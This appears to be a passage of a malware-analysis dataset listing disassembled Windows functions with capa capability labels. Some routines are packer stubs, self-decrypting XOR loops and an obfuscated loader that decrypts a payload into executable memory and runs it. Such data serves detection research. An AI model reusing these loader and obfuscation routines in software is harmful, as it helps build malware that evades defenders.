joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401090
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, edx
sub esp, 0x4c
mov dword [ebp - 0x2c], eax
test byte [section..data], 8
jne 0x401168
mov eax, dword [ebp - 0x2c]
lea edi, [ebp - 0x1c]
lea esi, [ebp - 0x20]
mov dword [esp + 4], ebx
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0
mov dword [esp], eax
call sub.advapi32.dll_RegQueryValueExW
xor edx, edx
sub esp, 0x18
test eax, eax
jne 0x40115a
mov ecx, dword [ebp - 0x1c]
mov dword [esp + 4], 0
add ecx, 4
mov edx, ecx
mov dword [ebp - 0x38], ecx
mov dword [esp + 8], edx
mov ecx, dword fs:[0x18]
mov eax, dword [ecx + 0x30]
mov dword [ebp - 0x34], ecx
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapAlloc
sub esp, 0xc
mov dword [ebp - 0x30], eax
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x14], edi
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.advapi32.dll_RegQueryValueExW
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
sub esp, 0x18
test eax, eax
jne 0x401198
mov eax, dword [ebp - 0x38]
xor ecx, ecx
xor ebx, ebx
and eax, 0xfffffffe
mov word [edx + eax - 2], cx
mov word [edx + eax - 4], bx
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0xc], section..rdata
mov dword [esp + 8], str.GetRegValue
mov dword [esp + 4], 0x403000
mov dword [esp], 3
call section..text
jmp 0x4010ab
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov eax, dword [ecx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapFree
xor edx, edx
sub esp, 0xc
jmp 0x40115a
Function at 0x402220
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 1
call dword [sym.imp.ucrtbase.dll__configure_wide_argv]
call dword [sym.imp.ucrtbase.dll__initialize_wide_environment]
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call dword [sym.imp.ucrtbase.dll__get_initial_wide_environment]
mov ebx, eax
mov eax, dword [0x40003c]
cmp word [eax + 0x40005c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll__set_app_type]
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00401440
mov dword [esp], eax
call 0x402290
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.ucrtbase.dll_exit]

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x33d6704a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x33d6c00b
call fcn.33d6b669
mov edi, ecx
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
call dword [0x33d6e7b4]
xor ebx, ebx
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], edi
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
cmp esi, ebx
mov byte [ebp - 4], 1
je 0x33d67106
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x42c], eax
lea eax, [ebp - 0x42c]
push eax
call fcn.33d68122
test eax, eax
jl 0x33d67106
mov edi, dword [ebp - 0x42c]
cmp edi, 0x400
jg 0x33d670e8
push edi
call fcn.33d64033
test al, al
je 0x33d670e8
mov eax, edi
call fcn.33d6b549
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x33d670f4
push edi
lea ecx, [ebp - 0x428]
call fcn.33d68122
push dword [ebp - 0x424]
push edi
push esi
push eax
call fcn.33d68122
cmp eax, ebx
jne 0x33d6713d
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x33d6711f
lea ecx, [ebp - 0x418]
call fcn.33d63f65
lea ecx, [ebp - 0x428]
call fcn.33d63e95
mov eax, 0x8007000e
lea esp, [ebp - 0x444]
call fcn.33d6b6c2
ret 0x10
push 2
push ebx
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 0x424], edi
jne 0x33d6715f
call fcn.33d6356e
mov esi, eax
jmp 0x33d67252
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x33d67182
call fcn.33d6356e
jmp 0x33d67244
push esi
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
cmp eax, ebx
mov dword [ebp - 0x41c], eax
je 0x33d67178
push esi
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
cmp eax, esi
mov dword [ebp - 0x420], esi
jae 0x33d671db
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x33d671c4
lea ecx, [ebp - 0x418]
call fcn.33d63f65
mov esi, 0x8007000e
lea ecx, [ebp - 0x428]
call fcn.33d63e95
mov eax, esi
jmp 0x33d6712f
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.33d68122
mov dword [ebp - 4], 1
jmp 0x33d67202
cmp dword [ebp - 0x418], ebx
jne 0x33d67211
mov esi, 0x8007000e
jmp 0x33d67246
push esi
push dword [ebp - 0x41c]
push esi
push dword [ebp - 0x418]
call fcn.33d68122
mov eax, dword [ebp - 0x418]
add esp, 0x10
push dword [ebp + 0x14]
mov byte [eax + esi], bl
push dword [ebp - 0x418]
lea ecx, [ebp - 0x434]
call fcn.33d68122
mov esi, eax
push dword [ebp - 0x424]
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x33d671c9
lea ecx, [ebp - 0x418]
call fcn.33d63f65
jmp 0x33d671c9
Function at 0x33d68122
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x33d68131
pop dword [ebp - 0x14]
mov eax, 0xd0dcd029
sub eax, 0x9d064ef8
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xc785ea3c
add dword [ebp - 0x24], 0x86cc5b0f
mov dword [ebp - 0x20], 0x5c5a248e
add dword [ebp - 0x20], 0xd5d927b7
mov dword [ebp - 0x1c], 0x5a191995
sub dword [ebp - 0x1c], 0xdccd567
mov dword [ebp - 0x18], 0x37161b90
add dword [ebp - 0x18], 0xc8e9e470
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x63d9ad55
add dword [ebp - 0x24], 0x1098bc01
mov dword [ebp - 0x20], 0x74fd5e6
sub dword [ebp - 0x20], 0xc5e37471
mov dword [ebp - 0x1c], 0x86540a3c
add dword [ebp - 0x1c], 0xdd1b6230
mov dword [ebp - 0x18], 0xd8af67a
sub dword [ebp - 0x18], 0xd8af67a
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xa013b754
add eax, 0x93bc59d0
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3907d
push 0
call eax
mov ecx, 0xd4b11e72
sub ecx, 0xd4b0d2a9
mov ebx, eax
mov edi, 0x3e91f812
sub edi, 0xabae812
add edi, dword [ebp - 0x14]
mov edx, 0xc4a1d366
sub edx, 0x8001ee1d
xor dword [ebp - 8], 0x71e740c1
mov esi, dword [edi]
add dword [ebp - 0x10], ecx
xor esi, edx
add dword [ebp - 0xc], 0x7a54969f
mov dword [ebx], esi
sub dword [ebp - 8], eax
add ebx, 4
add edi, 0x7ee027d9
add edi, 0x811fd82b
loop 0x33d6824e
add eax, 0xcf858ba6
add eax, 0x307b9651
xor ebx, ebx
add ebx, eax
add eax, 0xc971f89e
sub eax, 0xc971f899
mov ecx, 0x33d00000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x33d6aa74
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x33d61c1c]
jne 0x33d6b785
ret
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x33d6e950], eax
mov dword [0x33d6e94c], ecx
mov dword [0x33d6e948], edx
mov dword [0x33d6e944], ebx
mov dword [0x33d6e940], esi
mov dword [0x33d6e93c], edi
mov word [0x33d6e968], ss
mov word [0x33d6e95c], cs
mov word [0x33d6e938], ds
mov word [0x33d6e934], es
mov word [0x33d6e930], fs
mov word [0x33d6e92c], gs
pushfd
pop dword [0x33d6e960]
mov eax, dword [ebp]
mov dword [0x33d6e954], eax
mov eax, dword [ebp + 4]
mov dword [0x33d6e958], eax
lea eax, [ebp + 8]
mov dword [0x33d6e964], eax
mov eax, dword [ebp - 0x320]
mov dword [0x33d6e8a0], 0x10001
mov eax, dword [0x33d6e958]
mov dword [0x33d6e854], eax
mov dword [0x33d6e848], 0xc0000409
mov dword [0x33d6e84c], 1
mov eax, dword [0x33d61c1c]
mov dword [ebp - 0x328], eax
mov eax, dword [0x33d6e794]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x33d6e898], eax
push 1
call sub.MSVCR80.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x33d61fac
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x33d6e898], 0
jne 0x33d6b875
push 1
call sub.MSVCR80.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x401af0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40703c]
sub esp, 4
test ebx, ebx
je 0x401b3b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401b34
test esi, esi
je 0x401b34
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401b10
mov dword [esp], 0x407044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401d20
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401d70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, ecx
push ebx
mov ebx, eax
sub esp, 0x3c
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401e44
mov eax, dword [esp + 0x28]
cmp eax, 0x40
je 0x401dae
cmp eax, 4
jne 0x401dd0
test esi, esi
je 0x401dc2
xor eax, eax
movzx ecx, byte [edi + eax]
mov byte [ebx + eax], cl
add eax, 1
cmp eax, esi
jb 0x401db4
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x20]
lea ebp, [esp + 0x10]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov ecx, dword [esp + 0x28]
test esi, esi
je 0x401e0f
xor edx, edx
movzx eax, byte [edi + edx]
mov byte [ebx + edx], al
add edx, 1
cmp edx, esi
jb 0x401e01
cmp ecx, 0x40
je 0x401dc2
cmp ecx, 4
je 0x401dc2
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401d20
lea esi, [esi]
Function at 0x10001310
Capabilities:
Get memory capacity
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xb0
mov eax, 0x476461
mov dword [esp + 0x64], eax
mov eax, esp
lea ecx, [esp + 0x64]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x18], 0x57c
mov dword [eax + 0x14], 0x7f7
mov dword [eax + 0x10], 0xc2
mov dword [eax + 8], 0x476461
mov dword [eax + 4], 0x476461
mov dword [eax], 0xac5855
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
xor ecx, ecx
lea edx, [esp + 0x68]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], edx
mov dword [esp + 0x58], ecx
jmp 0x100013e9
mov eax, dword [esp + 0x54]
mov ecx, 0xe
mov dword [esp + 0x50], eax
xor edx, edx
div ecx
cmp edx, 4
jne 0x10001479
mov eax, esp
mov dword [eax], 0x627ff5
mov eax, dword [sym.imp.KERNEL32.dll_ReleaseActCtx]
call eax
sub esp, 4
jmp 0x10001479
mov eax, esp
mov dword [eax], 0xfeb
mov eax, dword [sym.imp.USER32.dll_SetCaretBlinkTime]
call eax
sub esp, 4
mov ecx, dword [esp + 0x4c]
sub ecx, 0xe
mov dword [esp + 0x48], eax
mov dword [esp + 0x44], ecx
je 0x100014d1
jmp 0x100013d3
mov eax, dword [esp + 0x4c]
sub eax, 0x53
mov dword [esp + 0x40], eax
je 0x10001496
jmp 0x100014f5
mov eax, dword [esp + 0x58]
xor ecx, ecx
mov edx, 0x40
mov esi, dword [esp + 0x5c]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x40
mov dword [esp + 0x4c], eax
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x38], edx
call fcn.100019b0
mov eax, esp
lea ecx, [esp + 0x68]
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0x804
mov dword [ecx], 0xe24f5b
mov ecx, dword [sym.imp.USER32.dll_UnregisterHotKey]
mov dword [esp + 0x34], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0x277
mov dword [ecx], 0x7c7fbf
mov ecx, dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov dword [esp + 0x30], eax
call ecx
sub esp, 8
xor ecx, ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x54], ecx
jmp 0x10001376
mov eax, dword [esp + 0x50]
add eax, 1
cmp eax, 0x1fb
mov dword [esp + 0x54], eax
je 0x100013aa
jmp 0x10001376
mov eax, esp
mov dword [eax + 8], 0x3cf
mov dword [eax + 4], 0xbec
mov dword [eax], 0x79e
mov eax, dword [sym.imp.USER32.dll_AttachThreadInput]
call eax
sub esp, 0xc
mov ecx, esp
mov dword [ecx], 0xf60db6
mov ecx, dword [sym.imp.GDI32.dll_CreateHalftonePalette]
mov dword [esp + 0x28], eax
call ecx
sub esp, 4
mov dword [esp + 0x24], eax
mov eax, esp
mov dword [eax + 8], 0xb73992
mov dword [eax + 4], 0xf8deca
mov dword [eax], 0xcb4042
mov eax, dword [sym.imp.GDI32.dll_FillRgn]
call eax
sub esp, 0xc
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x4c]
add eax, 1
cmp eax, 0x38
mov dword [esp + 0x58], eax
jne 0x100013e9
lea esp, [ebp - 4]
pop esi
pop ebp
ret

Function at 0x10001dec
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000e990]
jne 0x10001df6
repz ret
jmp fcn.1000209d
Function at 0x10002ad0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0x10], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
jmp 0x10002b2b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x10002bb4
jmp 0x10002c13
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x10002b86
jmp 0x10002c13
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], edx
je 0x10002b58
mov eax, dword [ebp - 0x24]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x28], eax
jl 0x10002b2b
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x1000e964]
mov edx, ecx
add edx, 0xfffffd6e
mov dword [0x1000e968], edx
mov edx, dword [ebp - 0x18]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], ecx
je 0x10002b17
jmp 0x10002c13
mov dword [0x1000e964], 0x1b10
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x10002c13
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x10002aff
jmp 0x10002c13
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x10002c13
mov eax, 0x89f
mov ecx, dword [ebp - 0x2c]
add ecx, 0xfffff502
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x20]
mov di, word [edx + esi*2 - 0xe]
cmp di, 0x6c
sete bl
cmp di, 0x6c
mov byte [ebp - 0x2d], bl
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
je 0x10002bfa
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [0x1000e964], eax
mov cl, byte [ebp - 0x2d]
and cl, 1
movzx eax, cl
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10004d20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x1000e96c], 0
mov dword [0x1000e970], 0
mov dword [0x1000e97c], 0
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x10004eb7
jmp 0x10004d71
jmp 0x10004eb7
xor eax, eax
mov ecx, dword [0x1000e964]
mov edx, eax
mov esi, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x28]
mov edi, 0x100
add edx, 1
mov ebx, ecx
add ebx, 1
add eax, 0xfffff02b
mov dword [0x1000e968], eax
mov eax, edx
cdq
idiv edi
mov dword [0x1000e96c], edx
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ecx + edx]
add ecx, esi
mov eax, ecx
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x1000e970], edx
mov dword [0x1000e964], 0x2325
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x1000e974], cl
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x1000e968], 0x153a
mov cl, byte [0x1000e974]
mov edx, dword [0x1000e970]
mov byte [edi + edx], cl
mov dword [0x1000e964], 0x2396
mov edx, dword [0x1000e96c]
movzx edx, byte [edi + edx]
mov ecx, dword [0x1000e970]
movzx ecx, byte [edi + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x1000e97c], ecx
mov cl, byte [edi + ecx]
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x30]
xor cl, byte [edx + esi]
mov byte [0x1000e980], cl
mov edx, dword [0x1000e968]
add edx, 0xfffff42a
mov dword [0x1000e964], edx
mov dword [0x1000e968], 0x18eb
mov edx, dword [ebp - 0x18]
mov byte [edx + esi], cl
mov ecx, dword [0x1000e964]
add ecx, 0xfffffb7e
mov dword [0x1000e964], ecx
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x3c], ecx
je 0x10004d6c
mov eax, dword [0x1000e970]
mov ecx, dword [0x1000e96c]
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x2c], esi
jmp 0x10004d89
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10004ec0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
lea eax, [esp + 0x90]
lea ecx, [esp + 0x30]
mov edx, dword [0x1000e964]
add edx, 0xfffffc6d
mov dword [0x1000e964], edx
mov dword [0x1000e968], 0x85d
mov dword [esp], eax
mov dword [esp + 0x2c], ecx
call fcn.10003b50
lea ecx, [0x10002710]
mov edx, 0xfffff72e
mov esi, dword [esp + 0x90]
mov dword [esp + 0x48], esi
mov dword [esp + 0x8c], 0x13a200
mov esi, dword [0x1000e950]
mov dword [esp + 0x60], esi
mov esi, dword [0x1000e954]
mov dword [esp + 0x50], esi
mov esi, dword [0x1000e958]
mov dword [esp + 0x70], esi
mov esi, dword [0x1000e95c]
mov dword [esp + 0x58], esi
mov esi, dword [0x1000e960]
mov dword [esp + 0x88], esi
mov dword [0x1000e964], 0x209
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x24]
cmp word [ecx], 0x5a4d
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
je 0x10004fa2
mov eax, 0x1470
mov ecx, dword [esp + 0x18]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], eax
jmp 0x10004f6c
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov edx, dword [esp + 0x1c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
jne 0x10004f83
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [0x1000e964], ecx
mov dword [esp + 0x64], edx
mov eax, dword [edx + eax + 0x50]
mov dword [esp + 0x74], eax
call fcn.10002ad0
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x10005029
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x98]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.100034d0
mov dword [0x1000e964], 0x156d
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
lea esp, [ebp - 4]
pop esi
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x29162f98
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x451b3289
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x5ffb718e
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x504e2a49
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219